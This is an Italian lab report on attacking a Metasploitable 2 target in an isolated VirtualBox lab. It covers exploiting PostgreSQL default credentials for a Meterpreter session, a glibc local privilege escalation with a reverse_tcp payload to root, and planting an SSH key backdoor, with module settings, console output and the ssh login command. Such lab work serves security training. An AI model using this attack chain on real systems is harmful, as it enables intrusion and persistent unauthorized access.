

# REPORT ESERCITAZIONE

## POSTGRESQL EXPLOIT, PRIVILEGE ESCALATION E BACKDOOR SSH

### 1. OBIETTIVO

L'esercitazione si articola in **tre fasi principali**: sfruttare una vulnerabilità nel servizio **PostgreSQL** di **Metasploitable 2** per ottenere una sessione **Meterpreter**, effettuare un'**escalation dei privilegi** fino a root usando i moduli post di **Metasploit**, e infine installare una backdoor SSH per dimostrare l'accesso persistente al sistema compromesso.

### 2. SCENARIO DELL'ATTACCO

L'attività si svolge in un ambiente isolato su **VirtualBox**, con Kali Linux nel ruolo di macchina attaccante e **Metasploitable 2** come target. Il servizio **PostgreSQL** esposto da **Metasploitable**, configurato con credenziali di default, rappresenta il punto di ingresso iniziale. Una volta ottenuta una sessione con privilegi limitati, si sfruttano vulnerabilità locali del kernel per scalare i privilegi fino a root, per poi consolidare l'accesso tramite una backdoor basata su chiavi SSH.

### 3. FASE 1 — EXPLOIT POSTGRESQL E SESSIONE METERPRETER

Il modulo utilizzato è **exploit/linux/postgres/postgres\_payload**, che sfrutta la possibilità di caricare librerie condivise nel processo **PostgreSQL** tramite le funzionalità native del DBMS. La configurazione richiede di impostare **RHOSTS** con l'**IP** del target e **LHOST** con l'**IP** della macchina **Kali**.

Una volta eseguito l'exploit, si ottiene una sessione **Meterpreter** attiva. Il comando **getuid** conferma l'identità dell'utente corrente: il processo **PostgreSQL** gira come utente **postgres**, quindi i privilegi sono inizialmente limitati. Questo rende necessaria una fase successiva di **privilege escalation**.

### 4. FASE 2 — PRIVILEGE ESCALATION

Con la sessione **Meterpreter** in background, si utilizza il modulo **post/multi/recon/local\_exploit\_suggester** per analizzare automaticamente il sistema target e individuare vulnerabilità locali sfruttabili.

```
[*] 192.168.1.149 - Valid modules for session 1:
```

| #                | Name                                                 | Potentially Vulnerable? | Check Result                                                                                     |
|------------------|------------------------------------------------------|-------------------------|--------------------------------------------------------------------------------------------------|
| 1                | exploit/linux/local/glibc_ld_audit_dso_load_priv_esc | Yes                     | The target appears to be vulnerable.                                                             |
| 2                | exploit/linux/local/glibc_origin_expansion_priv_esc  | Yes                     | The target appears to be vulnerable.                                                             |
| 3                | exploit/linux/local/netfilter_priv_esc_ipv4          | Yes                     | The target appears to be vulnerable.                                                             |
| 4                | exploit/linux/local/ptrace_sudo_token_priv_esc       | Yes                     | The service is running, but could not be validated.                                              |
| 5                | exploit/linux/local/su_login                         | Yes                     | The target appears to be vulnerable.                                                             |
| 6                | exploit/linux/persistence/autostart                  | Yes                     | The service is running, but could not be validated. Xorg is installed, possible desktop install. |
| 7                | exploit/multi/persistence/cron                       | Yes                     | The target appears to be vulnerable. Cron timing is valid, no cron.de                            |
| ny entries found |                                                      |                         |                                                                                                  |
| 8                | exploit/multi/persistence/ssh_key                    | Yes                     | The target appears to be vulnerable. Likely vulnerable                                           |
| 9                | exploit/unix/local/setuid_nmap                       | Yes                     | The target is vulnerable. /usr/bin/nmap is setuid                                                |

Figura 1 — Output del **local\_exploit\_suggester**: lista di vulnerabilità locali rilevate

Il modulo restituisce diversi candidati. Dopo qualche tentativo, il modulo `exploit/linux/local/glibc_ld_audit_dso_load_priv_esc` risulta quello efficace: sfrutta una vulnerabilità nella gestione delle librerie condivise da parte di `glibc` per eseguire codice con privilegi elevati.

Un dettaglio importante: il payload predefinito era `linux/x64/meterpreter/reverse_tcp`, ma il target usa un'architettura `x86`. Impostando il payload corretto (`linux/x86/meterpreter/reverse_tcp`), l'exploit va a buon fine e si ottiene una nuova sessione **Meterpreter**.

```
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name      Current Setting  Required  Description
  --      -
  SESSION   1                    yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping          yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.100    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

View the full module info with the info, or info -d command.

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.1.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.AIQ8RbQ0' (1271 bytes) ...
[*] Writing '/tmp/.fGgwR' (286 bytes) ...
[*] Writing '/tmp/.3K1gz' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.100:4444 → 192.168.1.149:42696) at 2026-05-20 09:25:48 -0400

meterpreter > getuid
Server username: root
```

Figura 2 — Sessione Meterpreter aperta con privilegi root (getuid: root)

## 5. FASE 3 — INSTALLAZIONE DELLA BACKDOOR SSH

Con i privilegi di root, si utilizza il modulo **exploit/multi/persistence/ssh\_key** per installare una chiave SSH pubblica generata da **Metasploit** all'interno del file `authorized_keys` dei principali utenti del sistema, tra cui **root** e **msfadmin**.

```
[*] No .ssh folder found for /var/spool/lpd/.ssh, skipping ...
[*] No /var/spool/lpd/.ssh/authorized_keys file found, skipping ...
[*] No .ssh folder found for /var/spool/news/.ssh, skipping ...
[*] No /var/spool/news/.ssh/authorized_keys file found, skipping ...
[*] No .ssh folder found for /var/spool/postfix/.ssh, skipping ...
[*] No /var/spool/postfix/.ssh/authorized_keys file found, skipping ...
[*] No .ssh folder found for /var/spool/uucp/.ssh, skipping ...
[*] No /var/spool/uucp/.ssh/authorized_keys file found, skipping ...
[*] No .ssh folder found for /var/www/.ssh, skipping ...
[*] No /var/www/.ssh/authorized_keys file found, skipping ...
[*] Storing new private key as /home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt. Change the permissions to 600 before using it
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Persistence installed! Call a shell using 'ssh -i /home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt <username>@192.168.1.149'
[*] use auxiliary/scanner/ssh/ssh_login
[*] run KEY_PATH=/home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt RHOSTS=192.168.1.149 USERNAME=<username>
[*] Adding key to /root/.ssh/authorized_keys
[*] Persistence installed! Call a shell using 'ssh -i /home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt <username>@192.168.1.149'
[*] use auxiliary/scanner/ssh/ssh_login
[*] run KEY_PATH=/home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt RHOSTS=192.168.1.149 USERNAME=<username>
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/metasploitable.localdomain_20260520.3035/metasploitable.localdomain_20260520.3035.rc
```

Figura 3 — Conferma dell'installazione della backdoor SSH su root e msfadmin

Per verificare il funzionamento, si utilizza la chiave privata generata per connettersi via SSH al target da un terminale separato su Kali. Poiché Metasploitable usa algoritmi di firma datati (ssh-rsa), è necessario specificare esplicitamente `HostKeyAlgorithms` e `PubkeyAcceptedAlgorithms` nel comando SSH. Inoltre, la chiave privata richiede permessi 600, altrimenti OpenSSH la rifiuta per motivi di sicurezza.

```
(kali@kali)-[~]
$ ssh -i /home/kali/.msf4/loot/20260520093030_default_192.168.1.149_id_rsa_913919.txt -o HostKeyAlgorithms=ssh-rsa -o PubkeyAcceptedAlgorithms=ssh-rsa root@192.168.1.149
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed May 20 09:07:06 2026 from 10.0.0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#
```

Figura 4 — Accesso SSH confermato come root senza password, tramite la chiave installata

## 6. CONCLUSIONI

L'esercitazione ha dimostrato un attacco a più stadi su un sistema Linux vulnerabile. Il punto di ingresso è stato il servizio **PostgreSQL** con credenziali di default, che ha permesso di caricare un payload malevolo e ottenere una shell remota. Dall'utente **postgres**, grazie a una vulnerabilità nella libreria **glibc**, si è riusciti a scalare i privilegi fino a root. Infine, l'installazione di una backdoor SSH ha garantito accesso persistente al sistema, dimostrando come un attaccante possa mantenere il controllo anche dopo il riavvio o la chiusura della sessione iniziale.

I concetti chiave affrontati in questa sessione sono:

- Exploitation di servizi esposti con credenziali deboli o di default
- Uso del `local_exploit_suggester` per l'identificazione automatica di vettori di escalation
- Importanza della compatibilità dell'architettura (x86 vs x64) nella scelta del payload
- Persistenza tramite chiavi SSH come tecnica di backdoor post-exploitation